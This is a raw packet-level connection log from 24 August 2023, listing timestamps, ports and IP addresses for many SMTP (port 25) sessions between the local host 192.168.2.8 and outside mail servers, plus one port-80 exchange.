Aug 24, 2023 19:03:57.570842028 CEST	25	50459	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:57.570936918 CEST	50459	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:57.571048021 CEST	25	50422	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.583950043 CEST	50471	25	192.168.2.8	84.116.6.18
Aug 24, 2023 19:03:57.586815119 CEST	25	50469	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:57.586982012 CEST	50469	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:57.594253063 CEST	25	50453	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:57.596903086 CEST	25	50417	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.597112894 CEST	50417	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.600712061 CEST	25	50456	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:57.600931883 CEST	50456	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:57.601782084 CEST	25	50470	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:57.601917982 CEST	50470	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:57.605580091 CEST	50472	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:57.606297970 CEST	25	50466	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.606389999 CEST	50466	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.614305019 CEST	25	50462	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:57.614428997 CEST	25	50462	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:57.614566088 CEST	25	50471	84.116.6.18	192.168.2.8
Aug 24, 2023 19:03:57.614573002 CEST	50462	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:57.614669085 CEST	50471	25	192.168.2.8	84.116.6.18
Aug 24, 2023 19:03:57.642363071 CEST	25	50463	38.111.141.181	192.168.2.8
Aug 24, 2023 19:03:57.651070118 CEST	50473	25	192.168.2.8	150.136.204.204
Aug 24, 2023 19:03:57.655379057 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:57.669166088 CEST	25	50467	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.669198036 CEST	25	50471	84.116.6.18	192.168.2.8
Aug 24, 2023 19:03:57.669214964 CEST	25	50471	84.116.6.18	192.168.2.8
Aug 24, 2023 19:03:57.669234991 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:57.669358015 CEST	50471	25	192.168.2.8	84.116.6.18
Aug 24, 2023 19:03:57.669409990 CEST	50471	25	192.168.2.8	84.116.6.18
Aug 24, 2023 19:03:57.669456959 CEST	50467	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.669498920 CEST	50464	25	192.168.2.8	8.12.52.45
Aug 24, 2023 19:03:57.677890062 CEST	25	50468	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:57.677922010 CEST	25	50468	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:57.678026915 CEST	50468	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:57.678121090 CEST	50468	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:57.680831909 CEST	25	50423	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.680857897 CEST	25	50457	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:57.681798935 CEST	25	50457	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:57.681879044 CEST	50457	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:57.687560081 CEST	50474	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.689346075 CEST	25	50455	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.689582109 CEST	50455	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.698251963 CEST	25	50458	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:57.698380947 CEST	50458	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:57.700865030 CEST	50475	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.704628944 CEST	25	50459	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:57.708026886 CEST	50476	25	192.168.2.8	216.71.130.195
Aug 24, 2023 19:03:57.710074902 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:57.712464094 CEST	25	50471	84.116.6.18	192.168.2.8
Aug 24, 2023 19:03:57.717816114 CEST	25	50461	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:57.723704100 CEST	25	50438	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.728565931 CEST	25	50470	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:57.728753090 CEST	50470	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:57.738976002 CEST	25	50456	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:57.747515917 CEST	25	50472	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:57.747623920 CEST	50472	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:57.750823021 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.752696037 CEST	25	50462	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:57.752723932 CEST	25	50462	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:57.752851963 CEST	50462	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:57.761245966 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.761281967 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.761367083 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.761462927 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.767043114 CEST	25	50473	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:57.767155886 CEST	50473	25	192.168.2.8	150.136.204.204
Aug 24, 2023 19:03:57.769140005 CEST	25	50456	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:57.769231081 CEST	50456	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:57.780447006 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:57.780530930 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:57.780669928 CEST	50464	25	192.168.2.8	8.12.52.45
Aug 24, 2023 19:03:57.794233084 CEST	50477	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:57.795573950 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.795608044 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.795629025 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.795645952 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.795663118 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.795682907 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.795701027 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.795715094 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.795732975 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.795748949 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.799896955 CEST	25	50468	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:57.814743996 CEST	25	50458	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:57.814945936 CEST	50458	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:57.816418886 CEST	25	50458	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:57.816553116 CEST	50458	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:57.819907904 CEST	25	50422	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.821357012 CEST	50422	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.823307037 CEST	25	50461	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:57.823333025 CEST	25	50461	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:57.823343992 CEST	25	50461	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:57.823520899 CEST	50461	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:57.823620081 CEST	50461	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:57.839657068 CEST	25	50467	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.839699030 CEST	25	50467	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.840003014 CEST	50467	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.842082024 CEST	50478	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:57.854324102 CEST	25	50469	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:57.854352951 CEST	25	50470	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:57.854552031 CEST	50469	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:57.854612112 CEST	50470	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:57.870563984 CEST	25	50474	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.870801926 CEST	50474	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.871222973 CEST	25	50455	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.871325970 CEST	50455	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.872564077 CEST	25	50476	216.71.130.195	192.168.2.8
Aug 24, 2023 19:03:57.872700930 CEST	50476	25	192.168.2.8	216.71.130.195
Aug 24, 2023 19:03:57.874087095 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.882210016 CEST	25	50438	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.882462978 CEST	50438	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.885658026 CEST	25	50473	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:57.885911942 CEST	50473	25	192.168.2.8	150.136.204.204
Aug 24, 2023 19:03:57.886262894 CEST	50479	25	192.168.2.8	139.173.84.185
Aug 24, 2023 19:03:57.889322042 CEST	25	50462	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:57.889385939 CEST	25	50472	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:57.889494896 CEST	25	50462	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:57.889569044 CEST	50472	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:57.889631987 CEST	50462	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:57.891357899 CEST	25	50427	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.894957066 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:57.897398949 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:57.897684097 CEST	50464	25	192.168.2.8	8.12.52.45
Aug 24, 2023 19:03:57.909794092 CEST	25	50477	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:57.910088062 CEST	50477	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:57.912987947 CEST	25	50466	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.913208961 CEST	50466	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.913371086 CEST	50315	25	192.168.2.8	52.71.57.184
Aug 24, 2023 19:03:57.920407057 CEST	50480	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:57.923290968 CEST	25	50423	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.923532963 CEST	50423	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.928844929 CEST	25	50417	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.935024977 CEST	50481	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:57.936939001 CEST	25	50461	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:57.944590092 CEST	50465	25	192.168.2.8	139.173.84.185
Aug 24, 2023 19:03:57.949027061 CEST	25	50478	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:57.949275970 CEST	50478	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:57.980389118 CEST	25	50470	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:57.980700016 CEST	50470	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:57.982712030 CEST	50482	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:57.989706993 CEST	25	50469	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:57.989756107 CEST	25	50469	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:57.990005970 CEST	50469	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.008694887 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:58.010248899 CEST	25	50467	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.010785103 CEST	50467	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.011064053 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:58.011392117 CEST	50464	25	192.168.2.8	8.12.52.45
Aug 24, 2023 19:03:58.023813009 CEST	25	50477	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.024168015 CEST	50477	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:58.027349949 CEST	25	50472	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:58.027478933 CEST	25	50472	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:58.027760983 CEST	50472	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:58.032042980 CEST	50483	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.032336950 CEST	25	50475	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.032519102 CEST	50475	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.035427094 CEST	50484	25	192.168.2.8	192.185.170.194
Aug 24, 2023 19:03:58.037074089 CEST	25	50476	216.71.130.195	192.168.2.8
Aug 24, 2023 19:03:58.048290968 CEST	25	50479	139.173.84.185	192.168.2.8
Aug 24, 2023 19:03:58.058516979 CEST	25	50478	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:58.058774948 CEST	50478	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:58.059051991 CEST	25	50473	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:58.059078932 CEST	25	50473	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:58.061590910 CEST	25	50474	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.061799049 CEST	50474	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.075030088 CEST	25	50481	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:58.075262070 CEST	50481	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:58.087516069 CEST	25	50417	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.090676069 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.090974092 CEST	25	50480	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:58.091110945 CEST	50480	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:58.093847990 CEST	25	50466	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.094017029 CEST	50466	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.095633984 CEST	25	50482	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.095783949 CEST	50482	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:58.103105068 CEST	25	50465	139.173.84.185	192.168.2.8
Aug 24, 2023 19:03:58.106770992 CEST	25	50470	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:58.107064962 CEST	50470	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:58.109792948 CEST	50485	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:58.121629953 CEST	50486	25	192.168.2.8	40.93.207.7
Aug 24, 2023 19:03:58.122271061 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:58.122350931 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:58.122385025 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:58.122450113 CEST	50464	25	192.168.2.8	8.12.52.45
Aug 24, 2023 19:03:58.122561932 CEST	50464	25	192.168.2.8	8.12.52.45
Aug 24, 2023 19:03:58.125458002 CEST	25	50469	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.125493050 CEST	25	50469	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.125607014 CEST	50469	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.125767946 CEST	50469	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.132039070 CEST	50417	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.137674093 CEST	25	50477	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.137725115 CEST	25	50477	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.138034105 CEST	50477	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:58.139054060 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:58.139272928 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:58.139298916 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:58.139380932 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:58.149400949 CEST	25	50485	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:58.149631023 CEST	50485	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:58.153323889 CEST	25	50422	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.165525913 CEST	25	50472	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:58.165606976 CEST	25	50472	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:58.165631056 CEST	25	50484	192.185.170.194	192.168.2.8
Aug 24, 2023 19:03:58.165656090 CEST	25	50478	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:58.165831089 CEST	50484	25	192.168.2.8	192.185.170.194
Aug 24, 2023 19:03:58.165831089 CEST	50472	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:58.166543007 CEST	25	50478	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:58.166726112 CEST	50478	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:58.171092033 CEST	50487	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.176762104 CEST	25	50476	216.71.130.195	192.168.2.8
Aug 24, 2023 19:03:58.180071115 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.180128098 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.180128098 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.180165052 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.180200100 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.180200100 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.180200100 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.180211067 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.180246115 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.180274963 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.180293083 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.181210041 CEST	25	50467	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.181384087 CEST	50467	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.191337109 CEST	25	50485	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:58.191596985 CEST	50485	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:58.202716112 CEST	25	50483	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.202909946 CEST	50483	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.209402084 CEST	25	50482	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.213382959 CEST	25	50438	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.217248917 CEST	50482	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:58.226775885 CEST	25	50486	40.93.207.7	192.168.2.8
Aug 24, 2023 19:03:58.226948977 CEST	50486	25	192.168.2.8	40.93.207.7
Aug 24, 2023 19:03:58.231260061 CEST	25	50485	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:58.231947899 CEST	25	50470	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:58.232312918 CEST	25	50485	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:58.232538939 CEST	50485	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:58.233063936 CEST	25	50470	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:58.233159065 CEST	50470	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:58.233294010 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:58.233906984 CEST	25	50481	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:58.234076977 CEST	50481	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:58.234116077 CEST	25	50481	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:58.234179974 CEST	50481	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:58.236980915 CEST	25	50427	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.237265110 CEST	50427	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.244107962 CEST	25	50474	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.244143009 CEST	25	50474	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.244344950 CEST	50474	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.251907110 CEST	25	50477	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.252089024 CEST	50477	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:58.252190113 CEST	25	50477	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.252286911 CEST	50477	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:58.255949020 CEST	25	50423	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:58.260656118 CEST	25	50469	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.263290882 CEST	25	50480	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:58.263506889 CEST	50480	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:58.263513088 CEST	50488	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:58.276633024 CEST	25	50485	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:58.277343035 CEST	25	50485	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:58.277369976 CEST	25	50478	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:58.277519941 CEST	50485	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:58.278346062 CEST	25	50485	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:58.278445959 CEST	50485	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:58.278505087 CEST	25	50478	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:58.278649092 CEST	50478	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:58.282835007 CEST	25	50478	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:58.282944918 CEST	50478	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:58.287606955 CEST	25	50488	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:58.287755013 CEST	50488	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:58.308037043 CEST	25	50487	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.308262110 CEST	50487	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.308753967 CEST	25	50472	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:58.308780909 CEST	25	50472	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:58.308876991 CEST	50472	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:58.316757917 CEST	25	50488	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:58.316803932 CEST	25	50422	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.316880941 CEST	25	50485	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:58.317047119 CEST	50488	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:58.319286108 CEST	50489	25	192.168.2.8	216.71.133.57
Aug 24, 2023 19:03:58.326308966 CEST	50490	25	192.168.2.8	213.120.69.5
Aug 24, 2023 19:03:58.330149889 CEST	25	50482	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.330183983 CEST	25	50482	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.330358982 CEST	50482	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:58.334177971 CEST	25	50475	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.334316969 CEST	50475	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.334449053 CEST	25	50486	40.93.207.7	192.168.2.8
Aug 24, 2023 19:03:58.334724903 CEST	50486	25	192.168.2.8	40.93.207.7
Aug 24, 2023 19:03:58.341207027 CEST	25	50488	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:58.342914104 CEST	25	50488	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:58.343091965 CEST	50488	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:58.360791922 CEST	25	50490	213.120.69.5	192.168.2.8
Aug 24, 2023 19:03:58.361041069 CEST	50490	25	192.168.2.8	213.120.69.5
Aug 24, 2023 19:03:58.365153074 CEST	25	50477	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.366465092 CEST	50422	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.370140076 CEST	25	50488	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:58.372308969 CEST	25	50488	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:58.372596025 CEST	50488	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:58.373260021 CEST	25	50481	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:58.374394894 CEST	25	50488	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:58.374521017 CEST	50488	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:58.385438919 CEST	25	50478	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:58.393883944 CEST	25	50490	213.120.69.5	192.168.2.8
Aug 24, 2023 19:03:58.393932104 CEST	25	50490	213.120.69.5	192.168.2.8
Aug 24, 2023 19:03:58.394161940 CEST	50490	25	192.168.2.8	213.120.69.5
Aug 24, 2023 19:03:58.394367933 CEST	50490	25	192.168.2.8	213.120.69.5
Aug 24, 2023 19:03:58.396682024 CEST	25	50488	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:58.402990103 CEST	50491	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.421663046 CEST	25	50466	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.422281981 CEST	25	50423	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:58.425535917 CEST	25	50490	213.120.69.5	192.168.2.8
Aug 24, 2023 19:03:58.426742077 CEST	25	50474	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.427043915 CEST	50474	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.431560993 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:58.431704998 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:58.433293104 CEST	50492	25	192.168.2.8	74.205.174.24
Aug 24, 2023 19:03:58.434062958 CEST	25	50480	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:58.434097052 CEST	25	50489	216.71.133.57	192.168.2.8
Aug 24, 2023 19:03:58.434176922 CEST	50489	25	192.168.2.8	216.71.133.57
Aug 24, 2023 19:03:58.435045958 CEST	25	50480	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:58.435183048 CEST	50480	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:58.442336082 CEST	25	50487	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.442516088 CEST	50487	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.442884922 CEST	25	50486	40.93.207.7	192.168.2.8
Aug 24, 2023 19:03:58.443006039 CEST	50486	25	192.168.2.8	40.93.207.7
Aug 24, 2023 19:03:58.447804928 CEST	25	50482	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.448031902 CEST	50482	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:58.448065996 CEST	25	50482	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.448240042 CEST	50482	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:58.470025063 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:58.475904942 CEST	50423	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:58.502592087 CEST	50493	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:58.512186050 CEST	25	50372	74.125.200.27	192.168.2.8
